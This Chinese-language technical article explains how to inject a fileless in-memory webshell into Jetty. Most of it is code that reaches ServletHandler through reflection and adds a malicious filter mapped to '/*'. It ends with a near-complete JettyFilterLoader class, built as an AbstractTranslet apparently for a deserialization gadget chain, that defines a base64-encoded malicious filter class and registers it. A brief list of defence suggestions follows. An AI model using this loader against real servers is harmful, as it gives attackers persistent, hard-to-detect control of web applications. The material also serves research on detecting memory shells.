Jetty 内存马注入分析
字数 1610 2025-08-25 22:58:35
Jetty 内存马注入技术分析
环境搭建与基础概念
Jetty 是一个开源的Servlet容器,为基于Java的Web应用(如JSP和Servlet)提供运行环境。它使用Java编写,以JAR包形式发布API,可以快速为独立运行的Java应用提供网络和Web连接。
示例Filter代码:
package com.example.JettyDemo;
import javax.servlet.*;
import javax.servlet.annotation.*;
import java.io.IOException;
@WebFilter(filterName = "HelloFilter", urlPatterns = "/hello")
public class HelloFilter implements Filter {
public void init(FilterConfig config) throws ServletException {}
public void destroy() {}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws ServletException, IOException {
response.getWriter().println("HelloFilter work");
chain.doFilter(request, response);
}
}
Filter调用机制分析
-
调用栈分析:
- 在ServletHandler中首次出现与filter相关的信息
- 调用栈经ServletHandler后会构造filter相关信息
- 关键点:直接寻找第一个出现filter相关信息的调用栈可快速定位获取上下文
-
FilterChain生成:
ServletHandler::doHandle中定义了FilterChain类型- 调用
getFilterChain()函数构造FilterChain - 该函数实例化filters,遍历
_filterPathMappings获取FilterHolder - 通过
new ServletHandler.CacheChain(filters,servletHolder)将filters信息存入chain
-
_filterPathMappings生成:- 实例化的ServletHandler对象中包含
_filterPathMappings - 获取ServletHandler对象即可获取
_filterPathMappings
- 实例化的ServletHandler对象中包含
内存马注入关键思路
注入恶意filter的关键在于向_filterPathMappings中添加必要元素:
- 获取ServletHandler
- 获取
_filterPathMappings - 向
_filterPathMappings中添加FilterMapping实例对象
FilterMapping需要包含三个关键变量:
_filterName_holder(FilterHolder类型)_pathSpecs
具体实现步骤
1. 获取ServletHandler
使用Java对象搜索工具定位上下文:
// 设置搜索类型包含Request关键字的对象
java.util.List<me.gv7.tools.josearcher.entity.Keyword> keys = new ArrayList<Keyword>();
keys.add(new me.gv7.tools.josearcher.entity.Keyword.Builder()
.setField_type("org.eclipse.jetty.servlet.ServletHandler.").build());
// 定义黑名单
java.util.List<me.gv7.tools.josearcher.entity.Blacklist> blacklists = new ArrayList<Blacklist>();
blacklists.add(new me.gv7.tools.josearcher.entity.Blacklist.Builder()
.setField_type("java.io.File").build());
// 新建搜索器
me.gv7.tools.josearcher.searcher.SearchRequstByBFS searcher =
new me.gv7.tools.josearcher.searcher.SearchRequstByBFS(Thread.getThreads(),keys);
searcher.setBlacklists(blacklists);
searcher.setIs_debug(true);
searcher.setMax_search_depth(20);
searcher.setReport_save_path("/path/to/logs/jetty");
searcher.searchObject();
反射获取ServletHandler:
Object obj = Thread.currentThread();
Field field = obj.getClass().getDeclaredField("contextClassLoader");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("_context");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getSuperclass().getDeclaredField("_servletHandler");
field.setAccessible(true);
obj = field.get(obj);
2. 获取_filterPathMappings
private static synchronized void InjectFilter() {
// 假定已经获取到ServletHandler
ArrayList filterPathMappings = (ArrayList) GetField(servletHandler, "_filterPathMappings");
// ...
}
private static synchronized Object GetField(Object o, String k) throws Exception {
Field f;
try {
f = o.getClass().getDeclaredField(k);
} catch (NoSuchFieldException e) {
try {
f = o.getClass().getSuperclass().getDeclaredField(k);
} catch (Exception e1) {
f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
}
}
f.setAccessible(true);
return f.get(o);
}
3. 实例化FilterMapping的两种方法
方法一:反射构造FilterMapping
// 实例化FilterHolder
Constructor constructor2 = servletHandler.getClass().getClassLoader()
.loadClass("org.eclipse.jetty.servlet.FilterHolder").getDeclaredConstructor();
constructor2.setAccessible(true);
Object filterHolder = constructor2.newInstance();
// 设置Filter
Method setFilter = filterHolder.getClass().getDeclaredMethod("setFilter", Filter.class);
setFilter.invoke(filterHolder, HFilter);
// 设置名称
Method setName = filterHolder.getClass().getSuperclass().getDeclaredMethod("setName", String.class);
setName.invoke(filterHolder, filterName);
// 实例化FilterMapping
Constructor constructor = servletHandler.getClass().getClassLoader()
.loadClass("org.eclipse.jetty.servlet.FilterMapping").getDeclaredConstructor();
constructor.setAccessible(true);
Object filterMapping = constructor.newInstance();
// 设置FilterMapping属性
Method setFilterName = filterMapping.getClass().getDeclaredMethod("setFilterName", String.class);
setFilterName.invoke(filterMapping, filterName);
Method setFilterHolder = filterMapping.getClass().getDeclaredMethod("setFilterHolder", filterHolder.getClass());
setFilterHolder.setAccessible(true);
setFilterHolder.invoke(filterMapping, filterHolder);
String pathSpecs = url;
Method setPathSpec = filterMapping.getClass().getDeclaredMethod("setPathSpec", String.class);
setPathSpec.invoke(filterMapping, pathSpecs);
// 添加到filterPathMappings
filterPathMappings.add(filterMapping);
方法二:使用ServletHandler的addFilterWithMapping方法
Class HFilter = Thread.currentThread().getContextClassLoader().loadClass(filterClassName);
Method addFilterWithMapping = GetMethod(servletHandler, "addFilterWithMapping",
Class.class, String.class, Integer.TYPE);
addFilterWithMapping.invoke(servletHandler, HFilter, "/*", 1);
// 调整_filterPathMappings中元素位置
Object filterMaps = GetField(servletHandler, "_filterMappings");
Object[] tmpFilterMaps = new Object[Array.getLength(filterMaps)];
int n = 1;
int j;
for(j = 0; j < Array.getLength(filterMaps); ++j) {
Object filter = Array.get(filterMaps, j);
String filterName = (String)GetField(filter, "_filterName");
if(filterName.contains(HFilter.getName())) {
tmpFilterMaps[0] = filter;
} else {
tmpFilterMaps[n] = filter;
++n;
}
}
for(j = 0; j < tmpFilterMaps.length; ++j) {
Array.set(filterMaps, j, tmpFilterMaps[j]);
}
4. 完整内存马实现
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import sun.misc.BASE64Decoder;
import javax.servlet.Filter;
import java.lang.reflect.*;
import java.util.ArrayList;
public class JettyFilterLoader extends AbstractTranslet {
private static Object servletHandler = null;
private static String filterName = "HFilter";
private static String filterClassName = "com.HFilter";
private static String url = "/*";
private static synchronized void LoadFilter() throws Exception {
try {
Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance();
} catch (Exception e) {
Method a = ClassLoader.class.getDeclaredMethod("defineClass",
byte[].class, Integer.TYPE, Integer.TYPE);
a.setAccessible(true);
byte[] b = (new BASE64Decoder()).decodeBuffer("恶意Filter.class|base64");
a.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);
}
}
public static synchronized void GetWebContent() throws Exception {
try {
Thread currentThread = Thread.currentThread();
Object contextClassLoader = GetField(currentThread, "contextClassLoader");
Object _context = GetField(contextClassLoader, "_context");
servletHandler = GetField(_context, "_servletHandler");
} catch (Exception e) {
e.printStackTrace();
}
}
private static synchronized void InjectFilter() throws Exception {
if(servletHandler != null) {
// 方法一实现
Filter HFilter = (Filter) Thread.currentThread().getContextClassLoader()
.loadClass(filterClassName).newInstance();
ArrayList filterPathMappings = (ArrayList) GetField(servletHandler, "_filterPathMappings");
// ... 方法一或方法二的实现代码 ...
}
}
private static synchronized Object GetField(Object o, String k) throws Exception {
// ... 同上 ...
}
private static synchronized Method GetMethod(Object obj, String methodName, Class<?>... paramClazz)
throws NoSuchMethodException {
// ... 同上 ...
}
static {
new JettyFilterLoader();
}
public JettyFilterLoader() {
try {
LoadFilter();
GetWebContent();
InjectFilter();
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {}
}
技术要点解析
-
_pathSpecs的作用:- 在
ServletHandler:getFilterChain()中的appliesTo()函数 - 将实际访问路由与
filterMapping._pathSpecs中定义的路由进行匹配 - 匹配正确则返回true
- 在
-
_filterName的非必要性:- 通过调试可知,获取到
_holder后,其中已包含_filtername _holder中的_filtername会自动赋值到_filterName
- 通过调试可知,获取到
-
FilterMapping实例化问题:
- 直接实例化FilterMapping可能会报错,尽管依赖包中存在该类
- 解决方案:
- 使用反射构造FilterMapping
- 或使用ServletHandler的
addFilterWithMapping方法
防御建议
- 监控JVM中动态加载的类
- 检查Servlet容器中的Filter配置
- 限制反射操作权限
- 定期检查内存中的异常Filter
- 使用安全加固的Jetty版本
总结
Jetty内存马注入技术通过反射机制获取ServletHandler,修改其内部数据结构_filterPathMappings来注入恶意Filter。关键在于理解Jetty内部Filter的加载和执行机制,以及如何通过反射绕过访问限制。防御方应重点关注内存中动态加载的类和异常的Filter配置。